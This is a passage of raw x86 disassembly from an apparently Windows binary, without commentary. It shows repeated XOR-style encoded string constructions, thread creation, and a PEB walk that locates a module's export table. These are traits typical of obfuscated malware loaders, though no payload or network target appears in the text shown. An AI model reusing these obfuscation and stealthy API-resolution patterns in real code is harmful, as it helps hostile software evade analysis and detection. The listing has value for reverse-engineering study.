mov ecx, eax
call fcn.0041b1e0
mov byte [0x5860ac], al
mov dword [ebp - 0x18], 0xcef2b1c0
mov dword [ebp - 0x14], 0x81a241b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x18], 0x4364b19
mov dword [ebp - 0x14], 0xc1bbd68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x18], 0x99c75993
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x694], ecx
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x698], eax
call fcn.00412fe0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x586083], al
mov dword [ebp - 0x18], 0xcef2b1c0
mov dword [ebp - 0x14], 0x9ca741b4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], ecx
mov dword [ebp - 0x18], 0x4295b19
mov dword [ebp - 0x14], 0xcbb0fda7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], ecx
mov dword [ebp - 0x18], 0x99b45682
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], ecx
lea ecx, [ebp - 0x730]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], edx
call fcn.00412fe0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x5860a6], al
call fcn.004c49c0
push 0x5629da
lea ecx, [ebp - 0x29c]
call fcn.00402cf0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x284]
push 0x5629da
call fcn.00402cf0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x248]
push 0x5629da
call fcn.00402cf0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x590]
push eax
mov ecx, 0x586400
call fcn.00413830
lea eax, [ebp - 0x86c]
mov ecx, 0x586400
push eax
call fcn.004137c0
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x590]
call fcn.004179f0
test al, al
jne 0x45c50c
nop word [eax + eax]
lea ecx, [ebp - 0x590]
call fcn.00413200
mov dword [ebp - 0x1f8], 0xccedb5c3
mov edi, eax
mov dword [ebp - 0x1f4], 0xf3c01ed1
mov ecx, dword [ebp - 0x1f8]
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x4d0], ecx
mov dword [ebp - 0x4cc], edx
mov dword [ebp - 0x200], 0x61453c76
mov dword [ebp - 0x1fc], 0xa0df89f8
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x1fc]
mov dword [ebp - 0x4c4], ecx
lea ecx, [ebp - 0x4d0]
mov dword [ebp - 0x4c8], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0x960]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov esi, eax
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x208], 0xf6e7bbc1
mov dword [ebp - 0x204], 0x96b47fa6
mov ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x204]
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], edx
mov dword [ebp - 0x210], 0x13245104
mov dword [ebp - 0x20c], 0xc9b3d693
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x708], eax
mov dword [ebp - 0xe8], 0xa8985d89
mov dword [ebp - 0xe4], 0x1b8ae46f
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x700], eax
mov dword [ebp - 0xf0], 0x23d873d8
mov dword [ebp - 0xec], 0xaff386e6
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x6f4], ecx
lea ecx, [ebp - 0x710]
mov dword [ebp - 0x6f8], eax
call fcn.00412fe0
push 0
push eax
mov ecx, esi
call fcn.00415ff0
mov esi, eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x960]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x960]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x45bb81
mov dword [ebp - 0xf8], 0xdcecb5db
mov dword [ebp - 0xf4], 0xf3c01eb4
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x100], 0x61453c76
mov dword [ebp - 0xfc], 0xa0df89f8
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x4d4], ecx
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 0x4d8], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0xb28]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x29c]
push eax
call fcn.004162c0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xb28]
call fcn.00402c90
mov dword [ebp - 0x78], 0x97f2b691
mov dword [ebp - 0x74], 0xf3c01ed1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], 0x61453c76
mov dword [ebp - 0x7c], 0xa0df89f8
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
push esi
mov dword [ebp - 0xa4], ecx
push ecx
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0xa8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x29c]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
je 0x45bb81
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x648]
mov dword [ebp - 0x38], eax
nop word [eax + eax]
mov dword [ebp - 0x108], 0xa980dea0
mov dword [ebp - 0x104], 0xf3c01ed1
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x110], 0x61453c76
mov dword [ebp - 0x10c], 0xa0df89f8
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x4e4], ecx
lea ecx, [ebp - 0x4f0]
mov dword [ebp - 0x4e8], eax
call fcn.004132d0
lea ecx, [ebp - 0x82c]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x3b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ba00
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x82c]
call fcn.00403040
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0x118], 0x97f2b691
mov dword [ebp - 0x114], 0xf3c01ed1
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x120], 0x61453c76
mov dword [ebp - 0x11c], 0xa0df89f8
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x4f4], ecx
lea ecx, [ebp - 0x500]
mov dword [ebp - 0x4f8], eax
call fcn.004132d0
lea ecx, [ebp - 0x648]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x3e
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ba93
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x648]
call fcn.00403040
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x648]
push 0
push eax
lea ecx, [ebp - 0x29c]
call fcn.00416030
cmp eax, 0xffffffff
je 0x45badf
lea ecx, [ebp - 0x82c]
push ecx
push dword [ebp - 0x638]
lea ecx, [ebp - 0x29c]
push eax
call fcn.00416100
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x648]
call fcn.00402df0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x648]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x82c]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x78], 0x97f2b691
mov dword [ebp - 0x74], 0xf3c01ed1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], 0x61453c76
mov dword [ebp - 0x7c], 0xa0df89f8
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
push 0
mov dword [ebp - 0xa4], ecx
push ecx
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0xa8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x29c]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
jne 0x45b980
mov dword [ebp - 0x128], 0xccedb5c3
mov dword [ebp - 0x124], 0xf3c01ed1
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x130], 0x61453c76
mov dword [ebp - 0x12c], 0xa0df89f8
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x504], ecx
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x508], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0x978]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov esi, eax
mov byte [ebp - 4], 0x46
mov dword [ebp - 0x138], 0xf6e7bbc1
mov dword [ebp - 0x134], 0x96b47fa6
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x6f0], ecx
mov dword [ebp - 0x6ec], edx
mov dword [ebp - 0x140], 0x13245104
mov dword [ebp - 0x13c], 0xc9b3d693
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x6e4], ecx
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x148], 0xab985d89
mov dword [ebp - 0x144], 0x1b8ae46f
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x6dc], ecx
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x150], 0x23d873d8
mov dword [ebp - 0x14c], 0xaff386e6
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x6d4], ecx
lea ecx, [ebp - 0x6f0]
mov dword [ebp - 0x6d8], eax
call fcn.00412fe0
push 0
push eax
mov ecx, esi
call fcn.00415ff0
mov esi, eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x978]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x978]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x45c029
mov dword [ebp - 0x158], 0xdcecb5db
mov dword [ebp - 0x154], 0xf3c01eb4
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x160], 0x61453c76
mov dword [ebp - 0x15c], 0xa0df89f8
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x514], ecx
lea ecx, [ebp - 0x520]
mov dword [ebp - 0x518], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0x9a8]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x284]
push eax
call fcn.004162c0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x9a8]
call fcn.00402c90
mov dword [ebp - 0x88], 0x97f2b691
mov dword [ebp - 0x84], 0xf3c01ed1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x90], 0x61453c76
mov dword [ebp - 0x8c], 0xa0df89f8
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
push esi
mov dword [ebp - 0xb4], ecx
push ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x284]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
je 0x45c029
lea eax, [ebp - 0x844]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x678]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x168], 0xa980dea0
mov dword [ebp - 0x164], 0xf3c01ed1
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x170], 0x61453c76
mov dword [ebp - 0x16c], 0xa0df89f8
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x524], ecx
lea ecx, [ebp - 0x530]
mov dword [ebp - 0x528], eax
call fcn.004132d0
lea ecx, [ebp - 0x844]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x4c
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45be90
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x844]
call fcn.00403040
mov byte [ebp - 4], 0x4d
mov dword [ebp - 0x178], 0x97f2b691
mov dword [ebp - 0x174], 0xf3c01ed1
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x180], 0x61453c76
mov dword [ebp - 0x17c], 0xa0df89f8
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x534], ecx
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x538], eax
call fcn.004132d0
lea ecx, [ebp - 0x678]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x4f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45bf23
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x678]
call fcn.00403040
mov byte [ebp - 4], 0x50
lea eax, [ebp - 0x678]
push 0
push eax
lea ecx, [ebp - 0x284]
call fcn.00416030
cmp eax, 0xffffffff
je 0x45bf6f
lea ecx, [ebp - 0x844]
push ecx
push dword [ebp - 0x668]
lea ecx, [ebp - 0x284]
push eax
call fcn.00416100
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x678]
call fcn.00402df0
mov byte [ebp - 4], 0x4d
lea eax, [ebp - 0x678]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x844]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x844]
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x88], 0x97f2b691
mov dword [ebp - 0x84], 0xf3c01ed1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x90], 0x61453c76
mov dword [ebp - 0x8c], 0xa0df89f8
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
push 0
mov dword [ebp - 0xb4], ecx
push ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x284]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
jne 0x45be16
mov dword [ebp - 0x188], 0xccedb5c3
mov dword [ebp - 0x184], 0xf3c01ed1
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x190], 0x61453c76
mov dword [ebp - 0x18c], 0xa0df89f8
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x18c]
mov dword [ebp - 0x544], ecx
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x548], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0x990]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov esi, eax
mov byte [ebp - 4], 0x57
mov dword [ebp - 0x198], 0xf6e7bbc1
mov dword [ebp - 0x194], 0x96b47fa6
mov ecx, dword [ebp - 0x198]
mov edx, dword [ebp - 0x194]
mov dword [ebp - 0x750], ecx
mov dword [ebp - 0x74c], edx
mov dword [ebp - 0x1a0], 0x13245104
mov dword [ebp - 0x19c], 0xc9b3d693
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x744], ecx
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x1a8], 0xaa985d89
mov dword [ebp - 0x1a4], 0x1b8ae46f
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x73c], ecx
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x1b0], 0x23d873d8
mov dword [ebp - 0x1ac], 0xaff386e6
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x734], ecx
lea ecx, [ebp - 0x750]
mov dword [ebp - 0x738], eax
call fcn.00412fe0
push 0
push eax
mov ecx, esi
call fcn.00415ff0
mov esi, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x990]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x990]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x34
test esi, esi
jne 0x45c4e1
mov dword [ebp - 0x1b8], 0xdcecb5db
mov dword [ebp - 0x1b4], 0xf3c01eb4
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x1c0], 0x61453c76
mov dword [ebp - 0x1bc], 0xa0df89f8
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x1bc]
mov dword [ebp - 0x554], ecx
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x558], eax
call fcn.004132d0
push eax
mov ecx, edi
call fcn.0041af80
lea ecx, [ebp - 0x8f8]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov esi, eax
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x248]
cmp eax, esi
je 0x45c233
mov ecx, eax
call fcn.00402df0
push esi
lea ecx, [ebp - 0x248]
call fcn.00402f70
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x8f8]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x8f8]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x98], 0x97f2b691
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0xc4], ecx
push ecx
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xc8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x248]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
je 0x45c4e1
lea eax, [ebp - 0x7fc]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x690]
mov dword [ebp - 0x48], eax
nop word [eax + eax]
mov dword [ebp - 0x1c8], 0xa980dea0
mov dword [ebp - 0x1c4], 0xf3c01ed1
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x1d0], 0x61453c76
mov dword [ebp - 0x1cc], 0xa0df89f8
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x564], ecx
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x568], eax
call fcn.004132d0
lea ecx, [ebp - 0x7fc]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c360
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x7fc]
call fcn.00403040
mov byte [ebp - 4], 0x61
mov dword [ebp - 0x1d8], 0x97f2b691
mov dword [ebp - 0x1d4], 0xf3c01ed1
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x574], ecx
lea ecx, [ebp - 0x580]
mov dword [ebp - 0x578], eax
call fcn.004132d0
lea ecx, [ebp - 0x690]
mov esi, eax
call fcn.00403110
mov byte [ebp - 4], 0x63
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c3e7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x690]
call fcn.00403040
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x690]
push 0
push eax
lea ecx, [ebp - 0x248]
call fcn.00416030
cmp eax, 0xffffffff
je 0x45c433
lea ecx, [ebp - 0x7fc]
push ecx
push dword [ebp - 0x680]
lea ecx, [ebp - 0x248]
push eax
call fcn.00416100
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x690]
call fcn.00402df0
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x690]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x7fc]
call fcn.00402df0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x7fc]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x98], 0x97f2b691
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0xc4], ecx
push ecx
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xc8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0x248]
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
jne 0x45c2e0
lea ecx, [ebp - 0x590]
call fcn.004131b0
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x590]
call fcn.004179f0
test al, al
je 0x45b6f0
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x248]
push eax
lea edx, [ebp - 0x284]
lea ecx, [ebp - 0x29c]
call fcn.004e7250
add esp, 4
cmp byte [0x5860ae], 0
jne 0x45d601
call fcn.004c4c40
call fcn.004c4b00
call fcn.004c4a60
call fcn.00479490
call fcn.00478200
mov ecx, 0x5862a0
call fcn.00412df0
push str.er_ert_346_34634_6ch
call esi
mov ecx, 0x5863d0
call fcn.00412df0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x46a8a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x469f60
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
mov dword [ebp - 0x5c], eax
call fcn.00409c90
test al, al
je 0x45c690
lea ecx, [ebp - 0x940]
call fcn.0040a2c0
mov edi, eax
mov byte [ebp - 4], 0x6b
mov dword [ebp - 0x20], 0xc0e7bbc1
mov dword [ebp - 0x1c], 0xf3c06dbf
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a0], ecx
mov dword [ebp - 0x59c], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x594], ecx
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x598], eax
call fcn.004132d0
sub esp, 0x10
mov ecx, edi
mov esi, esp
mov dword [ebp - 0x40], esp
push eax
call fcn.0041af80
push eax
mov ecx, esi
call fcn.00413d50
mov byte [ebp - 4], 0x6c
mov dword [ebp - 0x20], 0xc5f5b5fb
mov dword [ebp - 0x1c], 0xb68941a5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5a4], ecx
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x5a8], eax
call fcn.004132d0
push eax
mov ecx, 0x586368
call fcn.0041af80
mov byte [ebp - 4], 0x6b
mov ecx, eax
call fcn.00413cb0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x940]
call fcn.00413ca0
call fcn.0040a290
lea ecx, [ebp - 0x880]
call fcn.004932b0
mov esi, eax
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x20], 0xc0e7bbc1
mov dword [ebp - 0x1c], 0xf3c06dbf
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c0], ecx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5b4], ecx
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 0x5b8], eax
call fcn.004132d0
push eax
mov ecx, esi
call fcn.0041af80
push eax
lea ecx, [ebp - 0xe0]
call fcn.00413d50
mov byte [ebp - 4], 0x6e
mov dword [ebp - 0x20], 0xcdeebdfa
mov dword [ebp - 0x1c], 0xb0b369be
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x20], 0x4215904
mov dword [ebp - 0x1c], 0xc1b6fd96
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x20], 0x99c74b8b
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], ecx
lea ecx, [ebp - 0x770]
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], edx
call fcn.00412fe0
push eax
mov ecx, 0x586368
call fcn.0041af80
mov edi, eax
mov byte [ebp - 4], 0x6f
mov dl, byte [edi]
mov cl, byte [ebp - 0xe0]
mov byte [edi], cl
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov byte [ebp - 0xe0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xd4], esi
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xd8]
push dword [ebp - 0xe0]
call fcn.00417af0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x878]
push dword [ebp - 0x880]
call fcn.00417af0
push 0
push 0x4a1ba
call fcn.004e77d0
add esp, 8
push eax
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
